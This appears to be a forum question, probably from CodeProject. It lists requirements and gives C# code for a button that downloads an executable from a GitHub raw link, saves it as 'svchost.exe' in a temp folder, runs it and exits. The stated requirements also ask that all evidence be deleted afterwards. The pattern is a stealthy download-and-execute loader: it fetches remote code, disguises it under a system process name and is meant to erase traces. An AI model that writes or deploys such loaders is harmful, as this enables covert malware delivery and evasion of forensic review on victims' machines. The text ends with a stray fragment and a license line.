1 * when pressing the (button_initique) the program has to check if there is any remnant of the .exe on the user's computer. 2 * download the .exe from a cloud (web link) in a hidden folder (preferably% temp). 3 * execute the downloaded file on the machine. 4 * when the file stops (finalized after the user uses it). All evidence in the file must be deleted from the computer. 5 * close the program / or return to login.
Uri uri = new Uri("https://github.com/cksilva/ExternalOrange/blob/main/nvcontainer.exe?raw=true"); string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "Temp/svchost.exe"); private void button1_Click(object sender, EventArgs e) { try { if (File.Exists(filename)) { File.Delete(filename); } WebClient wc = new WebClient(); wc.DownloadFileAsync(uri, filename); wc.DownloadProgressChanged += new DownloadProgressChangedEventHandler(wc_DownloadProgressChanged); wc.DownloadFileCompleted += new AsyncCompletedEventHandler(wc_DownloadFileCompleted); } catch (Exception ex) { MessageBox.Show(ex.Message.ToString()); } } private void wc_DownloadProgressChanged(object sender, DownloadProgressChangedEventArgs e) { ProgressBar1.Value = e.ProgressPercentage; if (ProgressBar1.Value == ProgressBar1.Maximum) { ProgressBar1.Value = 0; } } private void wc_DownloadFileCompleted(object sender, AsyncCompletedEventArgs e) { if (e.Error == null) { Process.Start(filename); Close(); Application.Exit(); } else { MessageBox.Show("Unable to download exe, please check your connection", "Download failed!"); } } <pre>
var
This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)